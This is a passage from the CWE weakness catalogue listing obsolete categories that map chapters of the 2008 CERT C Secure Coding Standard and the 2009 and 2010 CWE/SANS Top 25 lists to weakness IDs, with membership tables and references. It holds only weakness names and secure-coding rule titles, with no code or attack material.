In the 2008 version of the CERT C Secure Coding standard, the following rules were mapped to the following CWE IDs: CWE-684 PRE09-C Do not replace secure functions with less secure functions

References

[REF-597]Robert C. Seacord. "The CERT C Secure Coding Standard". 1st Edition. 2008 October 4. Addison-Wesley Professional.

Category-736: CERT C Secure Coding Standard (2008) Chapter 3 - Declarations and Initialization (DCL)

Category ID : 736 **Status:** Obsolete

Summary

Weaknesses in this category are related to the rules and recommendations in the Declarations and Initialization (DCL) chapter of the CERT C Secure Coding Standard (2008).

Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	734	Weaknesses Addressed by the CERT C Secure Coding Standard (2008)	734	2030
HasMember	V	547	Use of Hard-coded, Security-relevant Constants	734	1120
HasMember	B	628	Function Call with Incorrectly Specified Arguments	734	1243
HasMember	V	686	Function Call With Incorrect Argument Type	734	1334

Notes

Relationship

In the 2008 version of the CERT C Secure Coding standard, the following rules were mapped to the following CWE IDs: CWE-547 DCL06-C Use meaningful symbolic constants to represent literal values in program logic CWE-628 DCL10-C Maintain the contract between the writer and caller of variadic functions CWE-686 DCL35-C Do not invoke a function using a type that does not match the function definition

References

[REF-597]Robert C. Seacord. "The CERT C Secure Coding Standard". 1st Edition. 2008 October 4. Addison-Wesley Professional.

Category-737: CERT C Secure Coding Standard (2008) Chapter 4 - Expressions (EXP)

Category ID : 737 **Status:** Obsolete

Summary

Weaknesses in this category are related to the rules and recommendations in the Expressions (EXP) chapter of the CERT C Secure Coding Standard (2008).

Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	734	Weaknesses Addressed by the CERT C Secure Coding Standard (2008)	734	2030
HasMember	V	467	Use of sizeof() on a Pointer Type	734	989
HasMember	B	468	Incorrect Pointer Scaling	734	992
HasMember	B	476	NULL Pointer Dereference	734	1009
HasMember	B	628	Function Call with Incorrectly Specified Arguments	734	1243
HasMember	C	704	Incorrect Type Conversion or Cast	734	1357
HasMember	B	783	Operator Precedence Logic Error	734	1453

Notes

Relationship

In the 2008 version of the CERT C Secure Coding standard, the following rules were mapped to the following CWE IDs: CWE-467 EXP01-C Do not take the size of a pointer to determine the size of the pointed-to type CWE-468 EXP08-C Ensure pointer arithmetic is used correctly CWE-476 EXP34-C Ensure a null pointer is not dereferenced CWE-628 EXP37-C Call functions with the arguments intended by the API CWE-704 EXP05-C Do not cast away a const qualification CWE-783 EXP00-C Use parentheses for precedence of operation

References

[REF-597]Robert C. Seacord. "The CERT C Secure Coding Standard". 1st Edition. 2008 October 4. Addison-Wesley Professional.

Category-738: CERT C Secure Coding Standard (2008) Chapter 5 - Integers (INT)

Category ID : 738 **Status:** Obsolete

Summary

Weaknesses in this category are related to the rules and recommendations in the Integers (INT) chapter of the CERT C Secure Coding Standard (2008).

Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	734	Weaknesses Addressed by the CERT C Secure Coding Standard (2008)	734	2030
HasMember	C	20	Improper Input Validation	734	19
HasMember	V	129	Improper Validation of Array Index	734	312
HasMember	B	190	Integer Overflow or Wraparound	734	437
HasMember	V	192	Integer Coercion Error	734	446
HasMember	B	197	Numeric Truncation Error	734	461
HasMember	B	369	Divide By Zero	734	818
HasMember	B	466	Return of Pointer Value Outside of Expected Range	734	988
HasMember	B	587	Assignment of a Fixed Address to a Pointer	734	1175
HasMember	B	606	Unchecked Input for Loop Condition	734	1207
HasMember	B	676	Use of Potentially Dangerous Function	734	1317
HasMember	B	681	Incorrect Conversion between Numeric Types	734	1322
HasMember	P	682	Incorrect Calculation	734	1326

Notes

Relationship

In the 2008 version of the CERT C Secure Coding standard, the following rules were mapped to the following CWE IDs: CWE-20 INT06-C Use strtol() or a related function to convert a string token to an integer CWE-129 INT32-C Ensure that operations on signed integers do not result in overflow CWE-190 INT03-C Use a secure integer library CWE-190 INT30-C Ensure that unsigned integer operations do not wrap CWE-190 INT32-C Ensure that operations on signed integers do not result in overflow CWE-190 INT35-C Evaluate integer expressions in a larger size before comparing or assigning to that size CWE-192 INT02-C Understand integer conversion rules CWE-192 INT05-C Do not use input functions to convert character data if they cannot handle all possible inputs CWE-192 INT31-C Ensure that integer conversions do not result in lost or misinterpreted data CWE-197 INT02-C Understand integer conversion rules CWE-197 INT05-C Do not use input functions to convert character data if they cannot handle all possible inputs CWE-197 INT31-C Ensure that integer conversions do not result in lost or misinterpreted data CWE-369 INT33-C Ensure that division and modulo operations do not result in divide-by-zero errors CWE-466 INT11-C Take care when converting from pointer to integer or integer to pointer CWE-587 INT11-C Take care when converting from pointer to integer or integer to pointer CWE-606 INT03-C Use a secure integer library CWE-676 INT06-C Use strtol() or a related function to convert a string token to an integer CWE-681 INT15-C Use intmax_t or uintmax_t for formatted IO on programmer-defined integer types CWE-681 INT31-C Ensure that integer conversions do not result in lost or misinterpreted data CWE-681 INT35-C Evaluate integer expressions in a larger size before comparing or assigning to that size CWE-682 INT07-C Use only explicitly signed or unsigned char type for numeric values CWE-682 INT13-C Use bitwise operators only on unsigned operands

References

[REF-597]Robert C. Seacord. "The CERT C Secure Coding Standard". 1st Edition. 2008 October 4. Addison-Wesley Professional.

Category-739: CERT C Secure Coding Standard (2008) Chapter 6 - Floating Point (FLP)

Category ID : 739 **Status:** Obsolete

Summary

Weaknesses in this category are related to the rules and recommendations in the Floating Point (FLP) chapter of the CERT C Secure Coding Standard (2008).

Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	734	Weaknesses Addressed by the CERT C Secure Coding Standard (2008)	734	2030
HasMember	B	369	Divide By Zero	734	818
HasMember	B	681	Incorrect Conversion between Numeric Types	734	1322
HasMember	P	682	Incorrect Calculation	734	1326
HasMember	V	686	Function Call With Incorrect Argument Type	734	1334

Notes

Relationship

In the 2008 version of the CERT C Secure Coding standard, the following rules were mapped to the following CWE IDs: CWE-369 FLP03-C Detect and handle floating point errors CWE-681 FLP33-C Convert integers to floating point for floating point operations CWE-681 FLP34-C Ensure that floating point conversions are within range of the new type CWE-682 FLP32-C Prevent or detect domain and range errors in math functions CWE-682 FLP33-C Convert integers to floating point for floating point operations CWE-686 FLP31-C Do not call functions expecting real values with complex values

References

[REF-597]Robert C. Seacord. "The CERT C Secure Coding Standard". 1st Edition. 2008 October 4. Addison-Wesley Professional.

Category-740: CERT C Secure Coding Standard (2008) Chapter 7 - Arrays (ARR)

Category ID : 740 **Status:** Obsolete

Summary

Weaknesses in this category are related to the rules and recommendations in the Arrays (ARR) chapter of the CERT C Secure Coding Standard (2008).

Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	734	Weaknesses Addressed by the CERT C Secure Coding Standard (2008)	734	2030
HasMember	C	119	Improper Restriction of Operations within the Bounds of a Memory Buffer	734	271
HasMember	V	129	Improper Validation of Array Index	734	312
HasMember	V	467	Use of sizeof() on a Pointer Type	734	989
HasMember	B	469	Use of Pointer Subtraction to Determine Size	734	994
HasMember	C	665	Improper Initialization	734	1293
HasMember	B	805	Buffer Access with Incorrect Length Value	734	1497

Notes

Relationship

In the 2008 version of the CERT C Secure Coding standard, the following rules were mapped to the following CWE IDs: CWE-119 ARR00-C Understand how arrays work CWE-119 ARR33-C Guarantee that copies are made into storage of sufficient size CWE-119 ARR34-C Ensure that array types in expressions are compatible CWE-119 ARR35-C Do not allow loops to iterate beyond the end of an array CWE-129 ARR00-C Understand how arrays work CWE-129 ARR30-C Guarantee that array indices are within the valid range CWE-129 ARR38-C Do not add or subtract an integer to a pointer if the resulting value does not refer to a valid array element CWE-467 ARR01-C Do not apply the sizeof operator to a pointer when taking the size of an array CWE-469 ARR36-C Do not subtract or compare two pointers that do not refer to the same array CWE-469 ARR37-C Do not add or subtract an integer to a pointer to a non-array object CWE-665 ARR02-C Explicitly specify array bounds, even if implicitly defined by an initializer CWE-805 ARR33-C Guarantee that copies are made into storage of sufficient size

References

[REF-597]Robert C. Seacord. "The CERT C Secure Coding Standard". 1st Edition. 2008 October 4. Addison-Wesley Professional.

Category-741: CERT C Secure Coding Standard (2008) Chapter 8 - Characters and Strings (STR)

Category ID : 741 **Status:** Obsolete

Summary

Weaknesses in this category are related to the rules and recommendations in the Characters and Strings (STR) chapter of the CERT C Secure Coding Standard (2008).

Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	734	Weaknesses Addressed by the CERT C Secure Coding Standard (2008)	734	2030
HasMember	B	78	Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')	734	141
HasMember	B	88	Improper Neutralization of Argument Delimiters in a Command ('Argument Injection')	734	181
HasMember	C	119	Improper Restriction of Operations within the Bounds of a Memory Buffer	734	271
HasMember	B	120	Buffer Copy without Checking Size of Input ('Classic Buffer Overflow')	734	280
HasMember	B	135	Incorrect Calculation of Multi-Byte String Length	734	339
HasMember	B	170	Improper Null Termination	734	395
HasMember	B	193	Off-by-one Error	734	449
HasMember	B	464	Addition of Data Structure Sentinel	734	986
HasMember	V	686	Function Call With Incorrect Argument Type	734	1334
HasMember	C	704	Incorrect Type Conversion or Cast	734	1357

Notes

Relationship

In the 2008 version of the CERT C Secure Coding standard, the following rules were mapped to the following CWE IDs: CWE-78 STR02-C Sanitize data passed to complex subsystems CWE-88 STR02-C Sanitize data passed to complex subsystems CWE-119 STR31-C Guarantee that storage for strings has sufficient space for character data and the null terminator CWE-119 STR32-C Null-terminate byte strings as required CWE-119 STR33-C Size wide character strings

correctly CWE-120 STR35-C Do not copy data from an unbounded source to a fixed-length array CWE-135 STR33-C Size wide character strings correctly CWE-170 STR03-C Do not inadvertently truncate a null-terminated byte string CWE-170 STR32-C Null-terminate byte strings as required CWE-193 STR31-C Guarantee that storage for strings has sufficient space for character data and the null terminator CWE-464 STR03-C Do not inadvertently truncate a null-terminated byte string CWE-464 STR06-C Do not assume that strtok() leaves the parse string unchanged CWE-686 STR37-C Arguments to character handling functions must be representable as an unsigned char CWE-704 STR34-C Cast characters to unsigned types before converting to larger integer sizes CWE-704 STR37-C Arguments to character handling functions must be representable as an unsigned char

References

[REF-597]Robert C. Seacord. "The CERT C Secure Coding Standard". 1st Edition. 2008 October 4. Addison-Wesley Professional.

Category-742: CERT C Secure Coding Standard (2008) Chapter 9 - Memory Management (MEM)

Category ID : 742 **Status:** Obsolete

Summary

Weaknesses in this category are related to the rules and recommendations in the Memory Management (MEM) chapter of the CERT C Secure Coding Standard (2008).

Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	734	Weaknesses Addressed by the CERT C Secure Coding Standard (2008)	734	2030
HasMember	C	20	Improper Input Validation	734	19
HasMember	C	119	Improper Restriction of Operations within the Bounds of a Memory Buffer	734	271
HasMember	B	128	Wrap-around Error	734	309
HasMember	B	131	Incorrect Calculation of Buffer Size	734	325
HasMember	B	190	Integer Overflow or Wraparound	734	437
HasMember	B	226	Sensitive Information Uncleared in Resource Before Release for Reuse	734	517
HasMember	V	244	Improper Clearing of Heap Memory Before Release ('Heap Inspection')	734	540
HasMember	B	252	Unchecked Return Value	734	553
HasMember	V	415	Double Free	734	901
HasMember	V	416	Use After Free	734	904
HasMember	B	476	NULL Pointer Dereference	734	1009
HasMember	V	528	Exposure of Core Dump File to an Unauthorized Control Sphere	734	1100
HasMember	V	590	Free of Memory not on the Heap	734	1179
HasMember	V	591	Sensitive Data Storage in Improperly Locked Memory	734	1182
HasMember	B	628	Function Call with Incorrectly Specified Arguments	734	1243
HasMember	C	665	Improper Initialization	734	1293
HasMember	V	687	Function Call With Incorrectly Specified Argument Value	734	1335
HasMember	C	754	Improper Check for Unusual or Exceptional Conditions	734	1381

Notes

Relationship

In the 2008 version of the CERT C Secure Coding standard, the following rules were mapped to the following CWE IDs: CWE-20 MEM10-C Define and use a pointer validation function CWE-119 MEM09-C Do not assume memory allocation routines initialize memory CWE-128 MEM07-C Ensure that the arguments to calloc(), when multiplied, can be represented as a size_t CWE-131 MEM35-C Allocate sufficient memory for an object CWE-190 MEM07-C Ensure that the arguments to calloc(), when multiplied, can be represented as a size_t CWE-190 MEM35-C Allocate sufficient memory for an object CWE-226 MEM03-C Clear sensitive information stored in reusable resources returned for reuse CWE-244 MEM03-C Clear sensitive information stored in reusable resources returned for reuse CWE-252 MEM32-C Detect and handle memory allocation errors CWE-415 MEM00-C Allocate and free memory in the same module, at the same level of abstraction CWE-415 MEM01-C Store a new value in pointers immediately after free() CWE-415 MEM31-C Free dynamically allocated memory exactly once CWE-416 MEM00-C Allocate and free memory in the same module, at the same level of abstraction CWE-416 MEM01-C Store a new value in pointers immediately after free() CWE-416 MEM30-C Do not access freed memory CWE-476 MEM32-C Detect and handle memory allocation errors CWE-528 MEM06-C Ensure that sensitive data is not written out to disk CWE-590 MEM34-C Only free memory allocated dynamically CWE-591 MEM06-C Ensure that sensitive data is not written out to disk CWE-628 MEM08-C Use realloc() only to resize dynamically allocated arrays CWE-665 MEM09-C Do not assume memory allocation routines initialize memory CWE-687 MEM04-C Do not perform zero length allocations CWE-754 MEM32-C Detect and handle memory allocation errors

References

[REF-597]Robert C. Seacord. "The CERT C Secure Coding Standard". 1st Edition. 2008 October 4. Addison-Wesley Professional.

Category-743: CERT C Secure Coding Standard (2008) Chapter 10 - Input Output (FIO)

Category ID : 743 **Status:** Obsolete

Summary

Weaknesses in this category are related to the rules and recommendations in the Input Output (FIO) chapter of the CERT C Secure Coding Standard (2008).

Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	734	Weaknesses Addressed by the CERT C Secure Coding Standard (2008)	734	2030
HasMember	B	22	Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')	734	31
HasMember	V	37	Path Traversal: '/absolute/pathname/here'	734	73
HasMember	V	38	Path Traversal: '\absolute\pathname\here'	734	75
HasMember	V	39	Path Traversal: 'C:dirname'	734	77
HasMember	B	41	Improper Resolution of Path Equivalence	734	81
HasMember	B	59	Improper Link Resolution Before File Access ('Link Following')	734	106
HasMember	V	62	UNIX Hard Link	734	112
HasMember	V	64	Windows Shortcut Following (.LNK)	734	114
HasMember	V	65	Windows Hard Link	734	116
HasMember	V	67	Improper Handling of Windows Device Names	734	120

Nature	Type	ID	Name	V	Page
HasMember	C	119	Improper Restriction of Operations within the Bounds of a Memory Buffer	734	271
HasMember	B	134	Use of Externally-Controlled Format String	734	334
HasMember	B	241	Improper Handling of Unexpected Data Type	734	534
HasMember	B	276	Incorrect Default Permissions	734	606
HasMember	V	279	Incorrect Execution-Assigned Permissions	734	611
HasMember	C	362	Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition')	734	793
HasMember	B	367	Time-of-check Time-of-use (TOCTOU) Race Condition	734	812
HasMember	B	379	Creation of Temporary File in Directory with Insecure Permissions	734	834
HasMember	B	391	Unchecked Error Condition	734	850
HasMember	B	403	Exposure of File Descriptor to Unintended Control Sphere ('File Descriptor Leak')	734	876
HasMember	C	404	Improper Resource Shutdown or Release	734	877
HasMember	B	552	Files or Directories Accessible to External Parties	734	1125
HasMember	C	675	Duplicate Operations on Resource	734	1316
HasMember	B	676	Use of Potentially Dangerous Function	734	1317
HasMember	V	686	Function Call With Incorrect Argument Type	734	1334
HasMember	C	732	Incorrect Permission Assignment for Critical Resource	734	1367

Notes

Relationship

In the 2008 version of the CERT C Secure Coding standard, the following rules were mapped to the following CWE IDs: CWE-22 FIO02-C Canonicalize path names originating from untrusted sources CWE-37 FIO05-C Identify files using multiple file attributes CWE-38 FIO05-C Identify files using multiple file attributes CWE-39 FIO05-C Identify files using multiple file attributes CWE-41 FIO02-C Canonicalize path names originating from untrusted sources CWE-59 FIO02-C Canonicalize path names originating from untrusted sources CWE-62 FIO05-C Identify files using multiple file attributes CWE-64 FIO05-C Identify files using multiple file attributes CWE-65 FIO05-C Identify files using multiple file attributes CWE-67 FIO32-C Do not perform operations on devices that are only appropriate for files CWE-119 FIO37-C Do not assume character data has been read CWE-134 FIO30-C Exclude user input from format strings CWE-134 FIO30-C Exclude user input from format strings CWE-241 FIO37-C Do not assume character data has been read CWE-276 FIO06-C Create files with appropriate access permissions CWE-279 FIO06-C Create files with appropriate access permissions CWE-362 FIO31-C Do not simultaneously open the same file multiple times CWE-367 FIO01-C Be careful using functions that use file names for identification CWE-379 FIO15-C Ensure that file operations are performed in a secure directory CWE-379 FIO43-C Do not create temporary files in shared directories CWE-391 FIO04-C Detect and handle input and output errors CWE-391 FIO33-C Detect and handle input output errors resulting in undefined behavior CWE-403 FIO42-C Ensure files are properly closed when they are no longer needed CWE-404 FIO42-C Ensure files are properly closed when they are no longer needed CWE-552 FIO15-C Ensure that file operations are performed in a secure directory CWE-675 FIO31-C Do not simultaneously open the same file multiple times CWE-676 FIO01-C Be careful using functions that use file names for identification CWE-686 FIO00-C Take care when creating format strings CWE-732 FIO06-C Create files with appropriate access permissions

References

[REF-597]Robert C. Seacord. "The CERT C Secure Coding Standard". 1st Edition. 2008 October 4. Addison-Wesley Professional.

Category-744: CERT C Secure Coding Standard (2008) Chapter 11 - Environment (ENV)

Category ID : 744 **Status:** Obsolete

Summary

Weaknesses in this category are related to the rules and recommendations in the Environment (ENV) chapter of the CERT C Secure Coding Standard (2008).

Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	734	Weaknesses Addressed by the CERT C Secure Coding Standard (2008)	734	2030
HasMember	B	78	Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')	734	141
HasMember	B	88	Improper Neutralization of Argument Delimiters in a Command ('Argument Injection')	734	181
HasMember	C	119	Improper Restriction of Operations within the Bounds of a Memory Buffer	734	271
HasMember	B	426	Untrusted Search Path	734	917
HasMember	B	462	Duplicate Key in Associative List (Alist)	734	983
HasMember	C	705	Incorrect Control Flow Scoping	734	1359

Notes

Relationship

In the 2008 version of the CERT C Secure Coding standard, the following rules were mapped to the following CWE IDs: CWE-78 ENV03-C Sanitize the environment when invoking external programs CWE-78 ENV04-C Do not call system() if you do not need a command processor CWE-88 ENV03-C Sanitize the environment when invoking external programs CWE-88 ENV04-C Do not call system() if you do not need a command processor CWE-119 ENV01-C Do not make assumptions about the size of an environment variable CWE-426 ENV03-C Sanitize the environment when invoking external programs CWE-462 ENV02-C Beware of multiple environment variables with the same effective name CWE-705 ENV32-C All atexit handlers must return normally

References

[REF-597]Robert C. Seacord. "The CERT C Secure Coding Standard". 1st Edition. 2008 October 4. Addison-Wesley Professional.

Category-745: CERT C Secure Coding Standard (2008) Chapter 12 - Signals (SIG)

Category ID : 745 **Status:** Obsolete

Summary

Weaknesses in this category are related to the rules and recommendations in the Signals (SIG) chapter of the CERT C Secure Coding Standard (2008).

Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	734	Weaknesses Addressed by the CERT C Secure Coding Standard (2008)	734	2030

Nature	Type	ID	Name	V	Page
HasMember	V	479	Signal Handler Use of a Non-reentrant Function	734	1021
HasMember	C	662	Improper Synchronization	734	1288

Notes

Relationship

In the 2008 version of the CERT C Secure Coding standard, the following rules were mapped to the following CWE IDs: CWE-432 SIG00-C Mask signals handled by noninterruptible signal handlers CWE-479 SIG30-C Call only asynchronous-safe functions within signal handlers CWE-479 SIG32-C Do not call longjmp() from inside a signal handler CWE-479 SIG33-C Do not recursively invoke the raise() function CWE-479 SIG34-C Do not call signal() from within interruptible signal handlers CWE-662 SIG00-C Mask signals handled by noninterruptible signal handlers CWE-662 SIG31-C Do not access or modify shared objects in signal handlers CWE-828 SIG31-C Do not access or modify shared objects in signal handlers

References

[REF-597]Robert C. Seacord. "The CERT C Secure Coding Standard". 1st Edition. 2008 October 4. Addison-Wesley Professional.

Category-746: CERT C Secure Coding Standard (2008) Chapter 13 - Error Handling (ERR)

Category ID : 746 **Status:** Obsolete

Summary

Weaknesses in this category are related to the rules and recommendations in the Error Handling (ERR) chapter of the CERT C Secure Coding Standard (2008).

Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	734	Weaknesses Addressed by the CERT C Secure Coding Standard (2008)	734	2030
HasMember	C	20	Improper Input Validation	734	19
HasMember	B	391	Unchecked Error Condition	734	850
HasMember	B	544	Missing Standardized Error Handling Mechanism	734	1117
HasMember	B	676	Use of Potentially Dangerous Function	734	1317
HasMember	C	705	Incorrect Control Flow Scoping	734	1359

Notes

Relationship

In the 2008 version of the CERT C Secure Coding standard, the following rules were mapped to the following CWE IDs: CWE-20 ERR07-C Prefer functions that support error checking over equivalent functions that don't CWE-391 ERR00-C Adopt and implement a consistent and comprehensive error-handling policy CWE-544 ERR00-C Adopt and implement a consistent and comprehensive error-handling policy CWE-676 ERR07-C Prefer functions that support error checking over equivalent functions that don't CWE-705 ERR04-C Choose an appropriate termination strategy

References

[REF-597]Robert C. Seacord. "The CERT C Secure Coding Standard". 1st Edition. 2008 October 4. Addison-Wesley Professional.

Category-747: CERT C Secure Coding Standard (2008) Chapter 14 - Miscellaneous (MSC)

Category ID : 747 **Status:** Obsolete

Summary

Weaknesses in this category are related to the rules and recommendations in the Miscellaneous (MSC) chapter of the CERT C Secure Coding Standard (2008).

Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	734	Weaknesses Addressed by the CERT C Secure Coding Standard (2008)	734	2030
HasMember	V	14	Compiler Removal of Code to Clear Buffers	734	14
HasMember	C	20	Improper Input Validation	734	19
HasMember	V	176	Improper Handling of Unicode Encoding	734	407
HasMember	C	330	Use of Insufficiently Random Values	734	730
HasMember	B	480	Use of Incorrect Operator	734	1023
HasMember	V	482	Comparing instead of Assigning	734	1029
HasMember	B	561	Dead Code	734	1133
HasMember	V	563	Assignment to Variable without Use	734	1137
HasMember	B	570	Expression is Always False	734	1147
HasMember	B	571	Expression is Always True	734	1150
HasMember	P	697	Incorrect Comparison	734	1350
HasMember	C	704	Incorrect Type Conversion or Cast	734	1357

Notes

Relationship

In the 2008 version of the CERT C Secure Coding standard, the following rules were mapped to the following CWE IDs: CWE-14 MSC06-C Be aware of compiler optimization when dealing with sensitive data CWE-20 MSC08-C Library functions should validate their parameters CWE-176 MSC10-C Character Encoding - UTF8 Related Issues CWE-330 MSC30-C Do not use the rand() function for generating pseudorandom numbers CWE-480 MSC02-C Avoid errors of omission CWE-480 MSC03-C Avoid errors of addition CWE-482 MSC02-C Avoid errors of omission CWE-561 MSC07-C Detect and remove dead code CWE-563 MSC00-C Compile cleanly at high warning levels CWE-570 MSC00-C Compile cleanly at high warning levels CWE-571 MSC00-C Compile cleanly at high warning levels CWE-697 MSC31-C Ensure that return values are compared against the proper type CWE-704 MSC31-C Ensure that return values are compared against the proper type CWE-758 MSC14-C Do not introduce unnecessary platform dependencies CWE-758 MSC15-C Do not depend on undefined behavior

References

[REF-597]Robert C. Seacord. "The CERT C Secure Coding Standard". 1st Edition. 2008 October 4. Addison-Wesley Professional.

Category-748: CERT C Secure Coding Standard (2008) Appendix - POSIX (POS)

Category ID : 748 **Status:** Obsolete

Summary

Weaknesses in this category are related to the rules and recommendations in the POSIX (POS) appendix of the CERT C Secure Coding Standard (2008).

Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	734	Weaknesses Addressed by the CERT C Secure Coding Standard (2008)	734	2030
HasMember	B	59	Improper Link Resolution Before File Access ('Link Following')	734	106
HasMember	B	170	Improper Null Termination	734	395
HasMember	B	242	Use of Inherently Dangerous Function	734	536
HasMember	B	272	Least Privilege Violation	734	598
HasMember	B	273	Improper Check for Dropped Privileges	734	601
HasMember	B	363	Race Condition Enabling Link Following	734	801
HasMember	B	366	Race Condition within a Thread	734	809
HasMember	B	562	Return of Stack Variable Address	734	1136
HasMember	C	667	Improper Locking	734	1299
HasMember	V	686	Function Call With Incorrect Argument Type	734	1334
HasMember	C	696	Incorrect Behavior Order	734	1348

Notes

Relationship

In the 2008 version of the CERT C Secure Coding standard, the following rules were mapped to the following CWE IDs: CWE-59 POS01-C Check for the existence of links when dealing with files CWE-170 POS30-C Use the readlink() function properly CWE-242 POS33-C Do not use vfork() CWE-272 POS02-C Follow the principle of least privilege CWE-273 POS37-C Ensure that privilege relinquishment is successful CWE-363 POS35-C Avoid race conditions while checking for the existence of a symbolic link CWE-366 POS00-C Avoid race conditions with multiple threads CWE-562 POS34-C Do not call putenv() with a pointer to an automatic variable as the argument CWE-667 POS31-C Do not unlock or destroy another thread's mutex CWE-686 POS34-C Do not call putenv() with a pointer to an automatic variable as the argument CWE-696 POS36-C Observe correct revocation order while relinquishing privileges

References

[REF-597]Robert C. Seacord. "The CERT C Secure Coding Standard". 1st Edition. 2008 October 4. Addison-Wesley Professional.

Category-751: 2009 Top 25 - Insecure Interaction Between Components

Category ID : 751 **Status:** Obsolete

Summary

Weaknesses in this category are listed in the "Insecure Interaction Between Components" section of the 2009 CWE/SANS Top 25 Programming Errors.

Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	750	Weaknesses in the 2009 CWE/SANS Top 25 Most Dangerous Programming Errors	750	2032
HasMember	C	20	Improper Input Validation	750	19
HasMember	B	78	Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')	750	141

Nature	Type	ID	Name	V	Page
HasMember	B	79	Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	750	152
HasMember	B	89	Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')	750	187
HasMember	C	116	Improper Encoding or Escaping of Output	750	260
HasMember	B	209	Generation of Error Message Containing Sensitive Information	750	490
HasMember	B	319	Cleartext Transmission of Sensitive Information	750	705
HasMember		352	Cross-Site Request Forgery (CSRF)	750	773
HasMember	C	362	Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition')	750	793

References

[REF-615]"2009 CWE/SANS Top 25 Most Dangerous Programming Errors". 2009 January 2. < http://cwe.mitre.org/top25/archive/2009/2009_cwe_sans_top25.html >.

Category-752: 2009 Top 25 - Risky Resource Management

Category ID : 752 **Status:** Obsolete

Summary

Weaknesses in this category are listed in the "Risky Resource Management" section of the 2009 CWE/SANS Top 25 Programming Errors.

Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	750	Weaknesses in the 2009 CWE/SANS Top 25 Most Dangerous Programming Errors	750	2032
HasMember	B	73	External Control of File Name or Path	750	125
HasMember	B	94	Improper Control of Generation of Code ('Code Injection')	750	204
HasMember	C	119	Improper Restriction of Operations within the Bounds of a Memory Buffer	750	271
HasMember	C	404	Improper Resource Shutdown or Release	750	877
HasMember	B	426	Untrusted Search Path	750	917
HasMember	B	494	Download of Code Without Integrity Check	750	1055
HasMember	C	642	External Control of Critical State Data	750	1257
HasMember	C	665	Improper Initialization	750	1293
HasMember	P	682	Incorrect Calculation	750	1326

References

[REF-615]"2009 CWE/SANS Top 25 Most Dangerous Programming Errors". 2009 January 2. < http://cwe.mitre.org/top25/archive/2009/2009_cwe_sans_top25.html >.

Category-753: 2009 Top 25 - Porous Defenses

Category ID : 753 **Status:** Obsolete

Summary

Weaknesses in this category are listed in the "Porous Defenses" section of the 2009 CWE/SANS Top 25 Programming Errors.

Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	750	Weaknesses in the 2009 CWE/SANS Top 25 Most Dangerous Programming Errors	750	2032
HasMember	B	250	Execution with Unnecessary Privileges	750	547
HasMember	V	259	Use of Hard-coded Password	750	569
HasMember	C	285	Improper Authorization	750	623
HasMember	C	327	Use of a Broken or Risky Cryptographic Algorithm	750	720
HasMember	C	330	Use of Insufficiently Random Values	750	730
HasMember	B	602	Client-Side Enforcement of Server-Side Security	750	1200
HasMember	C	732	Incorrect Permission Assignment for Critical Resource	750	1367
HasMember	B	798	Use of Hard-coded Credentials	750	1486

References

[REF-615]"2009 CWE/SANS Top 25 Most Dangerous Programming Errors". 2009 January 2. < http://cwe.mitre.org/top25/archive/2009/2009_cwe_sans_top25.html >.

Category-801: 2010 Top 25 - Insecure Interaction Between Components

Category ID : 801 **Status:** Obsolete

Summary

Weaknesses in this category are listed in the "Insecure Interaction Between Components" section of the 2010 CWE/SANS Top 25 Programming Errors.

Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	800	Weaknesses in the 2010 CWE/SANS Top 25 Most Dangerous Programming Errors	800	2032
HasMember	B	78	Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')	800	141
HasMember	B	79	Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	800	152
HasMember	B	89	Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')	800	187
HasMember	B	209	Generation of Error Message Containing Sensitive Information	800	490
HasMember	Compound	352	Cross-Site Request Forgery (CSRF)	800	773
HasMember	C	362	Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition')	800	793
HasMember	B	434	Unrestricted Upload of File with Dangerous Type	800	935
HasMember	B	601	URL Redirection to Untrusted Site ('Open Redirect')	800	1195

References

[REF-732]"2010 CWE/SANS Top 25 Most Dangerous Software Errors". 2010 February 4. < http://cwe.mitre.org/top25/archive/2010/2010_cwe_sans_top25.html >.

Category-802: 2010 Top 25 - Risky Resource Management

Category ID : 802 **Status:** Obsolete

Summary

Weaknesses in this category are listed in the "Risky Resource Management" section of the 2010 CWE/SANS Top 25 Programming Errors.

Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	800	Weaknesses in the 2010 CWE/SANS Top 25 Most Dangerous Programming Errors	800	2032
HasMember	B	22	Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')	800	31
HasMember	V	98	Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion')	800	217
HasMember	B	120	Buffer Copy without Checking Size of Input ('Classic Buffer Overflow')	800	280
HasMember	V	129	Improper Validation of Array Index	800	312
HasMember	B	131	Incorrect Calculation of Buffer Size	800	325
HasMember	B	190	Integer Overflow or Wraparound	800	437
HasMember	B	494	Download of Code Without Integrity Check	800	1055
HasMember	C	754	Improper Check for Unusual or Exceptional Conditions	800	1381
HasMember	B	770	Allocation of Resources Without Limits or Throttling	800	1422
HasMember	B	805	Buffer Access with Incorrect Length Value	800	1497

References

